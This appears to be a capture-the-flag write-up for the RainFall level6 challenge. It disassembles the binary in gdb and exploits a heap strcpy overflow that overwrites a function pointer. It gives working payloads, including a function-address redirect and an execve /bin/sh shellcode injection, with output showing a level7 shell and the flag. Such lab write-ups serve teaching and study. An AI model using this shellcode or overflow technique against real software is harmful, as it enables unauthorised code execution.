[CTF] redirect function execution with buffer overflow (rainfall-lvl06)
Table of contents:
This executable is the 7th one from the ISO file provided to us as a CTF challenge, for more context please visit here we retrieve the assembly code using gdb
level6@RainFall:~$ gdb ./level6
notes
0x08048454 n : fn : not called in any place
0x08048468 m : fn : called in main
0x0804847c main : rak 3arf
0x0804847c: main() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
int argc = ebp+0x8
char **argv = ebp+12
char *argBuffer = esp+28
char *funcBuffer = esp+24
// 0x20 ... 32
// 0x40 ... 64
// 0x1c ... 28
// 0x18 ... 24
// 0xc ... 12
}
<0> -> <+6> : prepare stack frame for n function with size 32
0x0804847c <+0>: push ebp
0x0804847d <+1>: mov ebp,esp
0x0804847f <+3>: and esp,0xfffffff0 // stack alignement
0x08048482 <+6>: sub esp,32
<+9> -> <+21> : allocate 64 bytes from the Heap and put the address in argBuffer
0x08048485 <+9>: mov DWORD PTR [esp],64
0x0804848c <+16>: call 0x8048350 <malloc@plt>
0x08048491 <+21>: mov DWORD PTR [argBuffer],eax
argBuffer = malloc(64)
<+25> -> <+37> : allocate 4 bytes from the Heap and put the address in funcBuffer
0x08048495 <+25>: mov DWORD PTR [esp],0x4
0x0804849c <+32>: call 0x8048350 <malloc@plt>
0x080484a1 <+37>: mov DWORD PTR [funcBuffer],eax
funcBuffer = malloc(4)
<+41> -> <+50> : put the address of function m in the area of heap pointed by funcBuffer
0x080484a5 <+41>: mov edx,0x8048468(address of m function)
0x080484aa <+46>: mov eax,DWORD PTR [funcBuffer]
0x080484ae <+50>: mov DWORD PTR [eax],edx
funcBuffer = m
<+52> -> <+58> : copy first param into Heap aread pointed by the address saved in argBuffer with strcpy
strcpy : not protected against buffer overflow
0x080484b0 <+52>: mov eax,DWORD PTR [argv]
0x080484b3 <+55>: add eax,4 // argv[1]
0x080484b6 <+58>: mov eax,DWORD PTR [eax]
0x080484b8 <+60>: mov edx,eax // edx = eax = argv[1]
0x080484ba <+62>: mov eax,DWORD PTR [argBuffer] // eax = return of malloc(64) the address in the Heap
0x080484be <+66>: mov DWORD PTR [esp+4],edx // store edx respectivly at the first line in the stack
0x080484c2 <+70>: mov DWORD PTR [esp],eax // store eax in top of stack preparing the args for strcpy
0x080484c5 <+73>: call 0x8048340 <strcpy@plt> // strcpy(eax, edx) <=> strcpy(argBuffer), argv[1])
strcpy(argBuffer), argv[1])
<+78> -> <+84> : get the address stored in address return by malloc(4) and call it , which is (m) function
// const m2 = malloc(2)
0x080484ca <+78>: mov eax,DWORD PTR [funcBuffer]
0x080484ce <+82>: mov eax,DWORD PTR [eax] = eax = *eax = &m
0x080484d0 <+84>: call eax // (**&m)() call the address in eax as function eax() in other word : m()
m()
<+86> -> <+87> : quit the main function
0x080484d2 <+86>: leave
0x080484d3 <+87>: ret
0x08048468: m() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
// 0x18 ... 24
}
<+0> -> <+3> : setup frame for n function with size of 24 bytes
0x08048468 <+0>: push ebp
0x08048469 <+1>: mov ebp,esp
0x0804846b <+3>: sub esp,24
<+6> -> <+13> : print "Nope" to screen
0x0804846e <+6>: mov DWORD PTR [esp],0x80485d1 // "Nope"
0x08048475 <+13>: call 0x8048360 <puts@plt>
puts("Nope");
<+18> -> <+19> : exit the function
0x0804847a <+18>: leave
0x0804847b <+19>: ret
0x08048454: n() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
// 0x18 ... 24
}
<+0> -> <+3> : setup frame for n function with size of 24 bytes
0x08048454 <+0>: push ebp
0x08048455 <+1>: mov ebp,esp
0x08048457 <+3>: sub esp,24
<+86> -> <+87> : quit the main function
0x0804845a <+6>: mov DWORD PTR [esp],0x80485b0 // "/bin/cat /home/user/level7/.pass"
0x08048461 <+13>: call 0x8048370 <system@plt>
system("/bin/cat /home/user/level7/.pass");
<+18> -> <+19> : quit the n function
0x08048466 <+18>: leave
0x08048467 <+19>: ret
return;
Code Prediction :
void n() {
system("/bin/cat /home/user/level7/.pass");
return;
}
void m() {
puts("Nope");
return;
}
int main(int argc(ebp+0x8), char **argv(ebp+12)) {
const argBuffer = malloc(64);
const funcBuffer = malloc(4);
funcBuffer = 0x8048468
strcpy(argBuffer, argv[1]);
(**funcBuffer)();
return;
}
Stack illustration :
high addresse
+---------------------+
: argv :
EBP+12 -> +---------------------+
: argc :
EBP+8 -> +---------------------+
: eip :
EBP+4 -> +---------------------+
: ebp :
EBP -> +---------------------+ -------\
: extra space : |
: stack alignement : |
ESP+28 -> +---------------------+ |
: malloc(64) return : |
ESP+24 -> +---------------------+ |
: malloc(4) return : |
+---------------------+ |
. |
. | 32 bytes
. |
. |
. |
+---------------------+ |
: argv[1] : |
ESP+4 -> +---------------------+ |
: malloc(64) return : |
ESP +---------------------+ -------/
low address
Process of the Exploit
- lets send 64 character to the program and see what’s going on in the memory exactly in the Heap area
(gdb) b * 0x080484ca Breakpoint 3 at 0x80484ca (gdb) run $(python -c 'print("A"*64)') Starting program: /home/user/level6/level6 $(python -c 'print("A"*64)') Breakpoint 3, 0x080484ca in main () (gdb) x/25wx 0x804a000 0x804a000: 0x00000000 0x00000049 0x41414141 0x41414141 0x804a010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a020: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a030: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a040: 0x41414141 0x41414141 0x00000000 0x00000011 0x804a050: 0x08048468 0x00000000 0x00000000 0x00020fa9 0x804a060: 0x00000000 (gdb)
- argBuffer start at : 0x804a008 : contains : A*64
- funcBuffer start at : 0x804a050 : contains : 0x08048468 (address of m function)
- the code calls the address saved in funcBuffer
- to reach the funcBuffer from argBuffer we have to write 72 character
- to overwrite the m address in funcBuffer we have to add that address after 72 character
(gdb) run $(python -c 'print("A"*72 + "BBBB")') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/level6/level6 $(python -c 'print("A"*72 + "BBBB")') Breakpoint 3, 0x080484ca in main () (gdb) x/25wx 0x804a000 0x804a000: 0x00000000 0x00000049 0x41414141 0x41414141 0x804a010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a020: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a030: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a040: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a050: 0x42424242 0x00000000 0x00000000 0x00020fa9 0x804a060: 0x00000000 (gdb)
- notice that m address is overwritten by 0x42424242(BBBB)
solutions possible :
- overwrite m address in funcBuffer with address of n function (0x08048454) (becuz it execute the shell and print the pass file)
-
- inject shellcode in argBuffer
- overwrite m addresss with address of argBuffer (0x804a008)
Solution :
1:- redirect m to n:
- payload :
$(python -c 'print("A"*72 + "\x08\x04\x84\x54"[::-1])')
level6@RainFall:~$ ./level6 $(python -c 'print("A"*72 + "\x08\x04\x84\x54"[::-1])') f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d level6@RainFall:~$
2:- inject shellcode in Heap area and redirect funcBuffer to argBuffer address:
- payload :
NOPS + SHELLCODE + ADDRESS(argBuffer)
python -c 'print("\x90" * 51 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x08\x04\xa0\x08"[::-1])
level6@RainFall:~$ ./level6 $(python -c 'print("\x90" * 51 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x08\x04\xa0\x08"[::-1])')
$ whoami
level7
$ pwd
/home/user/level6
$ cd /home/user/level7
$ cat .pass
f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d
$
flag : f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d